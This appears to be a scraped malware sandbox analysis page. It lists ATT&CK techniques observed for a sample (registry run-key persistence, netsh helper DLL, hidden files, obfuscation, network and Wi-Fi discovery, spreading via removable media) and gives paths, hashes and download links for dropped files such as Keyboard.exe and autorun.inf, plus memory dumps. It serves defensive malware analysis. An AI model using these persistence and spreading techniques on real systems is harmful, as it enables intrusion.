Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 0cf852f3bb6455538d383408b7cb734af20cc71bf8dcdcd03d59e6abe686d561
MD5 87449657707e167bb1cc05f46829b2d5
SHA1 91908125b3b9d543a9e2bc85b21394fe8456caf2
SHA512 d72f826b06e0299062349c7f395c4fab0ba2a78414a8d654cb02f08d9e2310594e0c77a0d46c7e7d9da8d07a901e9adc58be8806639b359fcf41acbddb57ee5b
TLSH
T1CF414A303121B5D84D435F5708286ED5A3EF8749ABA89F5CB969231DCE2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 048f4d405297d69a3c6d46016588b9118b0da2a1dbd5f50b5923eae0c5b6a46f
MD5 d669a020ba95e744b85dbb7119a074a0
SHA1 f8e76d3f8caff9312fc4fdd1f2f982955bb16cd3
SHA512 9fb34823a18d3de080032d00f158b3410fa6c9a3046aa27c25b52cbf01a8b97934ca638c83b3ee4c1355e79868fb9338d7067c0afaaa4cd80864a00f38b038eb
SSDEEP 384:4sf+Bl9i+B0i2LEIBizJkTo9oNNnKbK6seYD4Jy03KoGEf+VgENEerjQ0gdgtkKT:Vf20i21oeEovnKbNE4Kw3wEeTCiZ
TLSH
T10482E85E611F16C3C49613B8E11B055FE8F2DD8D431A13D97B1A9F3B8EACA9E903C548
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESA2F2.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESA2F2.tmp
Size 1KB
SHA256 e67c6ddd102a70ed0de8f129b65650cb6866771a1f5caaa6a4cf47e2c8d9b9ca
MD5 246576fca48ca04f33949beb723f417a
SHA1 671694b1564aa07ec3b3ec336a5e59fded9f4bb0
SHA512 34ab6a2f19a9809fcbea69d6469dcd34f562dee5c95e032623f9f5a8dd47a3e27af01ff472d3ebd6725dbbe645aff317d72e855f74bfc2edad8de66261ea8fff
TLSH
T1C321C90543E8870FF0734B3269F5072FA269FD64EF62632F8680422C1C91504EEA1F72
MD5 SHA1 SHA512 TLSH

Submit Download

Display (1).png

Path C:\Users\Admin\AppData\Local\Temp\XJVqRTC0fp\Display (1).png
Size 590KB
SHA256 111f9ac61389889b176768bfc614391b3d1e78683a477d3d734267fb35d2f590
MD5 a9e0fbce5fabdd6db001a7e759184065
SHA1 97fbc053123811b3b7ca7c23fa337f12a9c610e7
SHA512 4c7a1497a2b013fa718ca8420f12e7d26f200e121a7f5008668cd1312f4819bf8e05495a7e92b974758339e1f5a2f66093e723d29982f5a6458205912c267db0
SSDEEP 12288:zXhP3zIA9xp4YiHcw1tOOf0YScyuENWZnNu4MyYNfy3pQm+a9+KuwohUM1EX:zV33aYi8w1IExnNey3Om+XxwohZ8
TLSH
T1DCD4124C96F0C1548D99701EBEC22D0F8B367947A1BE553FEB287B812950C7C5EA81BB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_5em3hcls.vqd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5em3hcls.vqd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

bu2tnmnr.dll

Path C:\Users\Admin\AppData\Local\Temp\bu2tnmnr\bu2tnmnr.dll
Size 4KB
SHA256 6712ec120bd206f36862b85131febc9230a772e6a29bfd52d7d027832b7547fe
MD5 855bb0d7b3d9a42af2032e2ec1abde96
SHA1 d4b332d36d5c81f645978bba2fd2d82ddbe37aec
SHA512 88b7a70e76990ffe9c3644ac7fecb42f9a62bb215a46371175f768dcb5feb5a84d0e6782e220bc5fd0b10ec2ae8c8c0b88c9f5327fd1e57a2c45bc02e416c096
TLSH
T1BB81341693DC856AF47E0B756EF383471775E9209A22E35F1D84125CAC303606B25FB6
MD5 SHA1 SHA512 TLSH

Submit Download

Keyboard.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Drivers\Keyboard.exe
Size 10.8MB
SHA256 5f3deebb40662514bc81123efc5d4012e17b1f39fb137a8f9f4b2a08edd3b662
MD5 6ad551f598034cfcfceb411ceb66543d
SHA1 4bf3dcb21875d20b71fc9d15a3232ee52535254c
SHA512 13beaf91422f5f13a23f929e4b60db3e70abeb0f4ffef01c9af43e577288836d74927b3d8c9a51194223ddeca084e3c980118fc7eed2b42e703ccb7e2c0f3398
SSDEEP 98304:ZSTUAP6stMcgwfBwYpj30dZLlUuu7KJgGAAW8/RMp+MuQamjJi7CJEXXNB:i3irwfBKlfQKJgGALs0cT7XXN
TLSH
T193B64941EADB86F1E9431931515BB27F22301D098F39CBDBEB943F6AE9376D10836246
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

autorun.inf

Path F:\autorun.inf
Size 91B
SHA256 4007247521367cf4b29bfdddd2eb197aeaec325eafa745fbea6a59f880f8e948
MD5 9a71501dd3cbbe2d66ec3c9460379cb2
SHA1 1aefee78b8f1ef3e630aff2349571bec5280edff
SHA512 605ac01752d6985b8a8c4b1e1cab41c8e7e67d9cff8d2519b563183a59b8f9c1a1bbcdf2ac8fabfb971495c5595280afaa7e5189b833d18022f041a37934b1a7
TLSH
T182B012304434D2584557090DC00B8E5D175DB00C1560006003A861C0F820C0B47000D2
MD5 SHA1 SHA512 TLSH

Submit Download

CSCE4B6F3842F74499AF75FCD67A14034.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\bu2tnmnr\CSCE4B6F3842F74499AF75FCD67A14034.TMP
Size 652B
SHA256 2565ed497d8b1f6984d633acad3488eae11702440dc67adf7350649f19635fc8
MD5 97fe4e308805b5d12872dc6eb05ca74d
SHA1 9f4115fdcd81ca137b05843d6671262f4a66e4f5
SHA512 0f895386cf710dae79bc1436457cd8a06e0c6c504cd7e5dd4f948dd2de4d541c2bb6b3c95db802bf3d8653793ed0ccd519f6ba46cbf45a6dd95bd67ab91f9f21
TLSH
T1C8F05E0963F8020EF0F34B30BEF683A791A9BC65EE3293ED5980031D2C645109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

bu2tnmnr.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\bu2tnmnr\bu2tnmnr.0.cs
Size 1004B
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
TLSH
T159114EF8AD2FD65A44336B37FE7B5484EF3613A3022A911ABD8C41244F3185493AAE59
MD5 SHA1 SHA512 TLSH

Submit Download

bu2tnmnr.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\bu2tnmnr\bu2tnmnr.cmdline
Size 607B
SHA256 306b050a6626d78d91cb67482dd5753dfff1009ebde4dcfa68cd0dbece049eb1
MD5 b88b49f6eea269f19762b7a908a446a4
SHA1 cce701af5024b80e7ac815bdce7af724cf3b8876
SHA512 4c391b4b56c5e01eb843000e0908e0a2bc17bf43f9b7d6a5ecf3b542750181b8ac43e4d2f8fd73dc4cf602769069c4f4115bc0a74179058f5ae566a05dc21f7f
TLSH
T1ACF0AC35023BC9BE41E93443196E8FACC233434B3091AF6865888C1FF5630100F907B0
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2180-55-0x00000000073C0000-0x00000000073D1000-memory.dmp

Download

memory/2180-9-0x0000000004B00000-0x0000000004B10000-memory.dmp

Download

memory/2180-32-0x0000000005ED0000-0x0000000005F1C000-memory.dmp

Download

memory/2180-31-0x0000000005EA0000-0x0000000005EBE000-memory.dmp

Download

memory/2180-7-0x0000000004B00000-0x0000000004B10000-memory.dmp

Download

memory/2180-71-0x0000000007440000-0x0000000007448000-memory.dmp

Download

memory/2180-36-0x0000000070E50000-0x0000000070E9C000-memory.dmp

Download

memory/2180-44-0x0000000006450000-0x000000000646E000-memory.dmp

Download

memory/2180-35-0x0000000006470000-0x00000000064A2000-memory.dmp

Download

memory/2180-45-0x0000000007070000-0x0000000007113000-memory.dmp

Download

memory/2180-70-0x0000000007510000-0x000000000752A000-memory.dmp

Download

memory/2180-69-0x0000000007400000-0x0000000007414000-memory.dmp

Download

memory/2180-48-0x0000000007230000-0x000000000723A000-memory.dmp

Download

memory/2180-68-0x00000000073F0000-0x00000000073FE000-memory.dmp

Download

memory/2180-12-0x0000000004DE0000-0x0000000004E02000-memory.dmp

Download

memory/2180-54-0x0000000007450000-0x00000000074E6000-memory.dmp

Download

memory/4128-13-0x0000000004C90000-0x0000000004CF6000-memory.dmp

Download

memory/4128-11-0x0000000005030000-0x0000000005658000-memory.dmp

Download

memory/4128-10-0x0000000002290000-0x00000000022A0000-memory.dmp

Download

memory/4128-15-0x0000000005660000-0x00000000059B4000-memory.dmp

Download

memory/4128-63-0x0000000002920000-0x0000000002928000-memory.dmp

Download

memory/4128-5-0x00000000022A0000-0x00000000022D6000-memory.dmp

Download

memory/4128-14-0x0000000004D00000-0x0000000004D66000-memory.dmp

Download

memory/4128-47-0x0000000008000000-0x00000000085A4000-memory.dmp

Download

memory/4128-46-0x0000000006F50000-0x0000000006FE2000-memory.dmp

Download

memory/4128-33-0x00000000073D0000-0x0000000007A4A000-memory.dmp

Download

memory/4128-6-0x0000000002290000-0x00000000022A0000-memory.dmp

Download

memory/4128-34-0x0000000006100000-0x000000000611A000-memory.dmp

Download